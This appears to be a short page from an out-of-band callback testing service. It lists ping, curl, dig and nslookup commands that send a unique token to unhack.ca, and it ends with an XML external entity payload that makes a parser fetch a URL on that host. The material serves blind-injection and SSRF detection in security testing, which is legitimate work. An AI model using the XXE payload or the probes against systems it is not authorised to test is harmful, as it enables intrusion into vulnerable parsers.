$ ping -c1 -p 00c53f2bea0030e9ae7f296abff52d00 unhack.ca
 

$ curl http://unhack.ca/p/c53f2bea0030e9ae7f296abff52d
 

$ dig c53f2bea0030e9ae7f296abff52d @unhack.ca
 

$ dig c53f2bea0030e9ae7f296abff52d.ns.unhack.ca
 

C:\> nslookup c53f2bea0030e9ae7f296abff52d unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/c53f2bea0030e9ae7f296abff52d">]>
    <foo>&xxe;</foo>